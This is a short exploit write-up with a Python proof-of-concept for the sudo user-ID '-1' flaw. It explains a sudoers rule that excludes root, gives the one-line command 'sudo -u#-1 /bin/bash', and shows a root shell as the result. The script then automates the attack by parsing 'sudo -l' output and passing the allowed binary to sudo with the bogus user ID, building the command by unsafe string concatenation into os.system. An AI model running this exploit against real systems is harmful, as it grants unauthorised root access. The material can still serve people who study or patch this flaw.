'''Check for the user sudo permissions

sudo -l

User hacker may run the following commands on kali:
(ALL, !root) /bin/bash


So user hacker can't run /bin/bash as root (!root)


User hacker sudo privilege in /etc/sudoers

# User privilege specification
root ALL=(ALL:ALL) ALL

hacker ALL=(ALL,!root) /bin/bash


With ALL specified, user hacker can run the binary /bin/bash as any user

EXPLOIT:

sudo -u#-1 /bin/bash

Example :

hacker@kali:~$ sudo -u#-1 /bin/bash
root@kali:/home/hacker# id
uid=0(root) gid=1000(hacker) groups=1000(hacker)
root@kali:/home/hacker#

Description :
Sudo doesn't check for the existence of the specified user id and executes the with arbitrary user id with the sudo priv
-u#-1 returns as 0 which is root's id

and /bin/bash is executed with root permission
Proof of Concept Code :

How to use :
python3 sudo_exploit.py

'''


#!/usr/bin/python3

import os

#Get current username

username = input("Enter current username :")


#check which binary the user can run with sudo

os.system("sudo -l > priv")


os.system("cat priv | grep 'ALL' | cut -d ')' -f 2 > binary")

binary_file = open("binary")

binary= binary_file.read()

#execute sudo exploit

print("Lets hope it works")

os.system("sudo -u#-1 "+ binary)
